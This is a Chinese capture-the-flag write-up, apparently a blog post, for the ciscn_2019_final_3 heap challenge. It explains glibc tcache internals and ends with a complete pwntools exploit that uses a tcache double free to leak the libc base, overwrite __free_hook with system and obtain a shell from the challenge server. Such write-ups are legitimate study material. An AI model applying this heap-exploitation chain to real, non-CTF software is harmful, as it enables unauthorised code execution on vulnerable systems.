[Buuoj刷题]ciscn_2019_final_3 tcache attack


Tcache机制的引入

libc2.26以后引入了一个新的机制tcache,类似于fastbin,每条链上允许有7个chunk,多出的chunk会直接放入相应的fastbin或者Unsortedbin,跟以往不同的是,当用户申请chunk时,会优先寻找tcache中的chunk。

因为该机制的引入,提升了处理的速度,但安全性减低了,例如fastbin attach中的double free(tcache dup),free的时候会检查第一个chunk是否为自己,绕过该机制需要构造a->b->a,但是在tcache中并没有进行检查,所以可以直接free两次。

上述的double free漏洞仅存在于一些libc版本中,后面推出了增强性的tcache,增加了tcache的检查,如果使用高版本的libc,tcache dup就无法有效。


Tcache部分源码分析

/*------------------------ Public wrappers. --------------------------------*/

#if USE_TCACHE

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

直接查看libc2.26源码,tcache中增加了两个结构体tcache_entry和tcache_perthread_struct。

其中较为重要的函数为tcache_put函数和tcache_get。

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

很明显在tcache中放入chunk时并没有对其进行任何的检查,直接放在链表的头部,安全性很差,随便伪造一个chunk就能free进入相应的链表。

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

跟fastbin机制相同,对于chunk的管理都是FILO的,从链表头部抽取chunk。

tcache的源码不止这些,还有很多涉及到chunk的分配和管理,这里只介绍本题利用的原理源码。


ciscn_2019_final_3

首先对题目进行分析,功能只有两个,分别为add和delete比较简单。

这里需要注意的时,题目中对malloc的大小进行了限制,并不能申请超过0x78大小,并且打印出了每个chunk的地址,节省了很多功夫。

Delete功能这里并没有对指针进行置0,存在tcache dup。

整体思路为:

1、首先需要泄露libc的基址,就要使chunk进入到unsortedbin,但因为限制大小的缘故,通过tcache dup修改chunk大小为unsortbin的大小,本题目修改为0x461,为chunk0至chunk8包括header的总大小。

2、free chunk0,就会进入Unsortedbin,free chunk1,chunk1就会进入tcache中,chunk1既存在于unsortedbin,也存在于tcache,此时申请一个chunk0大小的chunk,unsortedbin就是进行切割(这里有个机制就是如果申请的内存在tcache中没有,但是在unsortedbin中有,那么就会将unsortedbin中的内存切割出来,并将main_arena的fd、bk写入到切割后的unsortedbin中的fd、bk之中),连续申请chunk1大小的chunk,就能泄露出libc基址(小技巧就是__malloc_hook+0x10=main_arena)
3、再次通过tcache dup,将__free_hook修改为system的地址,执行free(4)就是执行system('/bin/sh')

payload如下:

from pwn import *
from LibcSearcher import *

def add(index,size,content):
    sh.sendlineafter('choice > ','1')
    sh.sendlineafter('input the index\n',str(index))
    sh.sendlineafter('input the size\n',str(size))
    sh.sendlineafter('now you can write something\n',content)
    sh.recvuntil('gift :')
    gift_addr = int(sh.recv(14),16)
    return gift_addr

def delete(index):
    sh.sendlineafter('choice > ','2')
    sh.sendlineafter('input the index\n',str(index))

#context.log_level = 'DEBUG'
#sh = process('./ciscn_final_3')
sh  = remote('node4.buuoj.cn',29411)
libc = ELF('./libc.so.6')
#unsortedbins
heap_base = add(0,0x70,'a')
heap_base-=0x10
add(1,0x50,'b')
add(2,0x70,'c')
add(3,0x70,'d')
add(4,0x70,'/bin/sh\x00')
add(5,0x70,'f')
add(6,0x70,'g')
add(7,0x70,'h')
add(8,0x70,'i')

#extra_bins
add(9,0x70,'j')
add(10,0x40,'k')
delete(10)
delete(10)
add(11,0x40,p64(heap_base))
add(12,0x40,p64(heap_base))
add(13,0x40,p64(0)+p64(0x461))
delete(0)
delete(1)
add(14,0x70,'l')
add(15,0x50,'m')
main_arena = add(16,0x50,'n')-96
libc_base = main_arena-0x10-libc.sym['__malloc_hook']
system_addr = libc_base+libc.sym['system']
free_hook = libc_base+libc.sym['__free_hook']
add(17,0x10,'o')
delete(17)
delete(17)
add(18,0x10,p64(free_hook))
add(19,0x10,p64(free_hook))
add(20,0x10,p64(system_addr))
delete(4)
sh.interactive()

运行能够能够成功拿到shell。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值